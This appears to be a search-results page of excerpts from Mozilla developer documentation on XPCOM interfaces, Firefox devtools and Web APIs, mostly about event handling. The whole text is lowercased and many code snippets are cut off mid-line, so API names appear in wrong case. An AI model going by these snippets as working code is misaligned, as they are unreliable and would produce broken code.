...nsicancelable asyncresolve( in autf8string ahostname, in unsigned long aflags, in nsidnslistener alistener, in nsieventtarget alistenertarget ); parameters ahostname the host name or ip-address-literal to resolve.
...if not null, this parameter specifies the nsieventtarget of the thread on which the listener's onlookupcomplete should be called.
nsIDOMChromeWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in domstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which provides access to yet another layer of utility functions by chrome script.
...void beginwindowmove( in nsidomevent mousedownevent ); parameters mousedownevent exceptions thrown ns_error_not_implemented if the operating system does not support this method.
...if some xul applications create a dialog like window which has a default button but it's not created by the dialog/wizard element, the applications should call this method for the accessibility and the usability on windows at onload event.
nsIDOMXULElement
allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false.
...click() unless the element is disabled, sends mouse events that simulate the effect of clicking the mouse on the element, then calls the docommand() method.
...docommand() generates and dispatches a basic command event, as if the element was clicked with no keyboard modifiers.
nsIMacDockSupport
win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.get...
...this can be done by adding a event listenr for load of the hidden window.
...var macmenuitem = services.appshell.hiddendomwindow.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) services.appshell.hiddendomwindow.document.getelementbyid('menu_mac_dockmenu').appendchild(macmenuitem) this adds the "show most recent window" menuitem from the previous example as a third item.
nsIMenuBoxObject
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) to get access to the box object for a given menu, use code like this: var boxobject = xulmenu.boxobject.queryinterface(components.interfaces.nsimenuboxobject); method overview boolean handlekeypress(in nsidomkeyevent keyevent); void openmenu(in boolean openflag); attributes attribute type description activechild nsidomelement the currently active menu or menuitem child of the menu box.
...methods handlekeypress() boolean handlekeypress( in nsidomkeyevent keyevent ); parameters keyevent the key event to handle for the menu.
... return value true if the event was handled, false if not.
nsIMsgMessageService
acopylistener an nsistreamlistener to be notified of copy events.
... aurllistener a nsiurllistener to be notified of url events.
... srcfolder acopylistener an nsistreamlistener to be notified of copy events.
nsINavHistoryResult
the viewer provides notifications to the controller when view events occur; this is done using the nsinavhistoryresultviewobserver interface.
...this is used to prevent rapid flickering of changes when performing batch or temporary operations on the result structure.
...the viewer is responsible for actually updating the view object itself, as well as for handling events on the view.
nsIObserver
addobserver(this, "mytopicid", false); }, unregister: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.removeobserver(this, "mytopicid"); } } instantiation - this should be fired once you're ready to start observing (for example a window's load event).
... observer = new myobserver(); destruction - this should be fired once you're done observing (for example a window's unload event).
... observer.unregister(); "get everything" - note that "*" is an acceptable value (be careful with this, because it observes many events, and can degrade performance).
nsITraceableChannel
nsistreamlistener setnewlistener( in nsistreamlistener alistener ); parameters alistener an nsistreamlistener to be notified of events on the http channel.
...each listener call through to the previous listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event.
... implementing nsistreamlistener the nsistreamlistener passed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstartrequest: an http request is beginning.
nsIWindowMediator
this example below waits for listens to when a window opens, and then after that window opens it adds event listener to listen to when the window completes loading, after that it fires a function.
... var {cc: classes, ci: interfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //this removes this load function from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { ...
... domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { domwindow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register services.wm.addlistener(windowlistener); //services.wm.removelistener(windowlistener); //once you want to remove this listener execute removelistener, currently its commented out so you can copy paste this code in scratchpad and see it work native code only!calculatezposition a window wants to be moved in z-order.
Storage
by binding the parameters, you prevent possible sql injection attacks since a bound parameter can never be executed as sql.
... warning: if you fail to reset a write statement, it will continue to hold a lock on the database preventing future writes or reads.
... additionally, if you fail to reset a read statement, it will prevent any future writes to the database.
Weak reference
it might go away after the first interesting event, even.
...in the following example, an nsobservable must keep some kind of a reference to each observer, in order to report events.
... the nsobservable doesn't want to keep the observers alive just to prevent a dangling pointer, however.
Building a Thunderbird extension 6: Adding JavaScript
window.addeventlistener("load", function(e) { startup(); }, false); window.setinterval( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementbyid("my-panel"); var date = new date(); var day = date.getday(); var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the...
... first part registers a new event listener that will be executed automatically when thunderbird loads.
... the event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the document's dom tree.
Using the Multiple Accounts API
the current plans prevent sharing of information between accounts using the ui.
...you can add (and eventually delete) servers and have a default server.
...eventually there will be the concept of a session default server, and a permenant default server.
Plug-in Development Overview - Plugins
drawing a plug-in instance before drawing itself on the page, the plug-in must provide information about itself, set the window or other target in which it draws, arrange for redrawing, and handle events.
... npp_handleevent: deliver a platform-specific event to the instance.
... for information about these processes, see drawing and event handling.
Debugger.Memory - Firefox Developer Tools
debugger.memory handler functions similar to debugger’s handler functions, debugger.memory inherits accessor properties that store handler functions for spidermonkey to call when given events occur in debuggee code.
... handler functions run in the same thread in which the event occurred.
...for each collection slice that occurred, there is an entry in the collections array with the following form: { "starttimestamp":timestamp, "endtimestamp":timestamp, } here the timestamp values are timestamps of the gc slice’s start and end events.
Index - Firefox Developer Tools
not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are eventually removed.
... 61 examine event listeners guide, inspector, tools the inspector shows the word "event" next to elements in the html pane, that have event listeners bound to them: 62 examine and edit css guide, inspector, tools you can examine and edit css in the inspector's css pane.
...to turn on the feature: 136 set event listener breakpoints debugger, dev tools, event debugging, event handler, event listener, javascript debugging, tools, breakpoint, events starting with firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler.
Frame rate - Firefox Developer Tools
a frame rate of 60fps is the target for smooth performance, giving you a time budget of 16.7ms for all the updates needed in response to some event.
... a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.
... if we select one of these slices of the recording, the main waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: we have a javascript function from a click event that's blocking the main thread for 170 milliseconds.
Intensive JavaScript - Firefox Developer Tools
the main thread code would look something like this: const iterations = 50; const multiplier = 1000000000; var worker = new worker("js/calculate.js"); function dopointlesscomputationsinworker() { function handleworkercompletion(message) { if (message.data.command == "done") { pointlesscomputationsbutton.disabled = false; console.log(message.data.primes); worker.removeeventlistener("message", handleworkercompletion); } } worker.addeventlistener("message", handleworkercompletion, false); worker.postmessage({ "multiplier": multiplier, "iterations": iterations }); } the main difference here, compared with the original, is that we need to: create a worker send it a message when we are ready to calculate listen for a message called "done", whi...
... then we need a new file "calculate.js", that looks like this: self.addeventlistener("message", go); function go(message) { var iterations = message.data.iterations; var multiplier = message.data.multiplier; primes = calculateprimes(iterations, multiplier); self.postmessage({ "command":"done", "primes": primes }); } function calculateprimes(iterations, multiplier) { var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multiplier * math.random()); var isprime = true; for (var c = 2; c <= math.sqrt(candidate); ++c) { if (candidate % c === 0) { // not prime isprime = false; break; } } if (isprime) { primes.push(candidate); } } re...
...compared with the original, each button-press is visible in the overview as two very short orange markers: the dopointlesscomputationsinworker() function that handles the click event and starts the worker's processing the handleworkercompletion() function that runs when the worker calls "done".
about:debugging - Firefox Developer Tools
it's installed and activated, and is currently handling events.
... sending push events to service workers to debug push notifications, you can set a breakpoint in the push event listener.
...click the push button to send a push event to the service worker.
AbsoluteOrientationSensor - Web APIs
event handlers no specific event handlers; inherits methods from its ancestor, sensor.
... const options = { frequency: 60, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors.
Animation.oncancel - Web APIs
the oncancel property of the web animations api's animation interface is the event handler for the cancel event.
... the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
... syntax var cancelhandler = animation.oncancel; animation.oncancel = cancelhandler; value a function to be executed when the animation is cancelled, or null if there is no cancel event handler.
Animation.persist() - Web APIs
WebAPIAnimationpersist
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the ...
...event handler code whenever the mouse moves.
... the event handler sets up an animation that animates the <div> element to the position of the mouse pointer.
Animation.replaceState - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the ...
...event handler code whenever the mouse moves.
... the event handler sets up an animation that animates the <div> element to the position of the mouse pointer.
AudioBufferSourceNode - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ink:href="/docs/web/api/audiobuffersourcenode" target="_top"><rect x="561" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="666" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiobuffersourcenode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} an audiobuffersourcenode has no inputs and exactly one output, which has the same number of channels as the audiobuffer indicated by its buffer property.
... event handlers inherits event handlers from its parent, audioscheduledsourcenode.
AudioContext.createMediaStreamDestination() - Web APIs
stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array.
... after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a url created from the blob.
...s file </p> <button>make sine wave</button> <audio controls></audio> <script> var b = document.queryselector("button"); var clicked = false; var chunks = []; var ac = new audiocontext(); var osc = ac.createoscillator(); var dest = ac.createmediastreamdestination(); var mediarecorder = new mediarecorder(dest.stream); osc.connect(dest); b.addeventlistener("click", function(e) { if (!clicked) { mediarecorder.start(); osc.start(0); e.target.innerhtml = "stop recording"; clicked = true; } else { mediarecorder.stop(); osc.stop(0); e.target.disabled = true; } }); mediarecorder.ondataavailable = function(evt) { // push each chu...
AudioNode - Web APIs
WebAPIAudioNode
lternode or convolvernode), or volume control (like gainnode) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface.
... methods also implements methods from the interface eventtarget.
AudioScheduledSourceNode - Web APIs
specifically, this interface defines the start() and stop() methods, as well as the onended event handler.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: ended fired when the source node has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... also available using the onended event handler property.
BaseAudioContext.createScriptProcessor() - Web APIs
this value controls how frequently the audioprocess event is dispatched and how many sample-frames need to be processed each call.
...for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
...equest.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; c...
BatteryManager.onchargingchange - Web APIs
specifies an event listener to receive chargingchange events.
... these events occur when the battery charging state is updated.
... syntax battery.onchargingchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingchange event occurs.
BatteryManager.onchargingtimechange - Web APIs
specifies an event listener to receive chargingtimechange events.
... these events occur when the battery chargingtime is updated.
... syntax battery.onchargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingtimechange event occurs.
BatteryManager.ondischargingtimechange - Web APIs
specifies an event listener to receive dischargingtimechange events.
... these events occur when the battery dischargingtime is updated.
... syntax battery.ondischargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the dischargingtimechange event occurs.
BatteryManager.onlevelchange - Web APIs
the batterymanager.onlevelchange property specifies an event listener to receive levelchange events.
... these events occur when the battery level is updated.
... syntax navigator.battery.onlevelchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the levelchange event occurs.
Using the Beacon API - Web APIs
the following example specifies a handler for the load and beforeunload events.
... window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(url, data); // log the data and result console.log("sendbeacon: url = ", url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handler calls sendbeacon().
... this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the worker (worker-using.js): onmessage = function(event) { var msg = event.data; // split the url and data from the message var url = msg[0]; var data = msg[1]; // if the browser supports worker sendbeacon(), then send the beaco...
Bluetooth - Web APIs
WebAPIBluetooth
interface interface bluetooth : eventtarget { promise<boolean> getavailability(); attribute eventhandler onavailabilitychanged; [sameobject] readonly attribute bluetoothdevice?
... referringdevice; promise<sequence<bluetoothdevice>> getdevices(); promise<bluetoothdevice> requestdevice(optional requestdeviceoptions options = {}); }; bluetooth includes bluetoothdeviceeventhandlers; bluetooth includes characteristiceventhandlers; bluetooth includes serviceeventhandlers; properties inherits properties from its parent eventtarget.
... events bluetooth.onavailabilitychanged an event handler that runs when an event of type availabilitychanged has fired.
BluetoothDevice - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...dde4"/><a xlink:href="/docs/web/api/bluetoothdevice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute domstring id; readonly attribute domstring?
...gatt; readonly attribute frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a domstring that uniquely identifies a device.
CSS Object Model (CSSOM) - Web APIs
reference animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeaturevaluesmap cssfontfeaturevaluesrule cssgroupingrule cssimportrule csskeyframerule csskeyframesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylist...
...listener screen stylesheet stylesheetlist transitionevent several other interfaces are also extended by the cssom-related specifications: document, window, element, htmlelement, htmlimageelement, range, mouseevent, and svgelement.
... css object model (cssom) view module working draft defined the screen and mediaquerylist interfaces and the mediaquerylistevent event and mediaquerylistlistener event listener.
Hit regions and accessibility - Web APIs
it allows you to make hit detection easier and lets you route events to dom elements.
... you can add a hit region to your path and check for the mouseevent.region property to test if your mouse is hitting your region, for example.
... <canvas id="canvas"></canvas> <script> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: 'circle'}); canvas.addeventlistener('mousemove', function(event) { if (event.region) { alert('hit region: ' + event.region); } }); </script> the addhitregion() method also takes a control option to route events to an element (that is a descendant of the canvas): ctx.addhitregion({control: element}); this can be useful for routing to <input> elements, for example.
Clients.claim() - Web APIs
WebAPIClientsclaim
this triggers a "controllerchange" event on navigator.serviceworker in any clients that become controlled by this service worker.
... example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker.
... self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status comment service workersthe definition of 'claim()' in that specification.
Clipboard API - Web APIs
the specification refers to this as the 'async clipboard api.' clipboardevent secure context represents events providing information related to modification of the clipboard, that is cut, copy, and paste events.
... the specification refers to this as the 'clipboard event api'.
... specifications specification status comment clipboard api and events working draft initial definition.
CredentialsContainer - Web APIs
the credentialscontainer interface of the the credential management api exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen.
... event handlers none.
... credentialscontainer.preventsilentaccess()secure context sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise.
DataTransfer.items - Web APIs
tyle> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
...items[" + i + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the d...
...rop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'items' in that specification.
DataTransfer.mozGetDataAt() - Web APIs
the datatransfer.mozgetdataat() method is used to retrieve an item in the drag event's data transfer object, based on a given format and index.
... example this example shows the use of the mozgetdataat() method in a drop event handler.
... function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransfer - Web APIs
this object is available from the datatransfer property of all drag events.
... datatransfer.types read only an array of strings giving the formats that were set in the dragstart event.
... datatransfer.mozusercancelled read only this property applies only to the dragend event, and is true if the user canceled the drag operation by pressing escape.
DataTransferItemList.DataTransferItem() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to...
... the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'datatransferitem getter' in that specification.
DataTransferItemList.add() - Web APIs
html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid bl...
...paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status commen...
DataTransferItemList.length - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to...
... the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'length' in that specification.
DataTransferItemList.remove() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</h1>...
... <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } specifications specification status comment html living standardthe definition of 'remove()' in that specification.
Document.onafterscriptexecute - Web APIs
syntax document.onafterscriptexecute = funcref; funcref is a function reference, called when the event is fired.
... the event's target attribute is set to the <script> element that just finished executing.
... example function finished(e) { logmessage(`finished script with id: ${e.target.id}`); } document.addeventlistener('afterscriptexecute', finished, true); view live example specification html5 ...
Document.onbeforescriptexecute - Web APIs
syntax document.onbeforescriptexecute = funcref; funcref is a function reference, called when the event is fired.
... the event's target attribute is set to the script element that is about to be executed.
... example function starting(e) { logmessage("starting script with id: " + e.target.id); } document.addeventlistener("beforescriptexecute", starting, true); view live examples specification html5 ...
Document.visibilityState - Web APIs
when the value of this property changes, the visibilitychange event is sent to the document.
... typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the background or minimized.
... syntax var string = document.visibilitystate examples document.addeventlistener("visibilitychange", function() { console.log( document.visibilitystate ); // modify behavior...
Introduction to the DOM - Web APIs
alert(paragraphs[0].nodename); all of the properties, methods, and events available for manipulating and creating web pages are organized into objects (for example, the document object that represents the document itself, the table object that implements the special htmltableelement dom interface for accessing html tables, and so forth).
... in the beginning, javascript and the dom were tightly intertwined, but eventually, they evolved into separate entities.
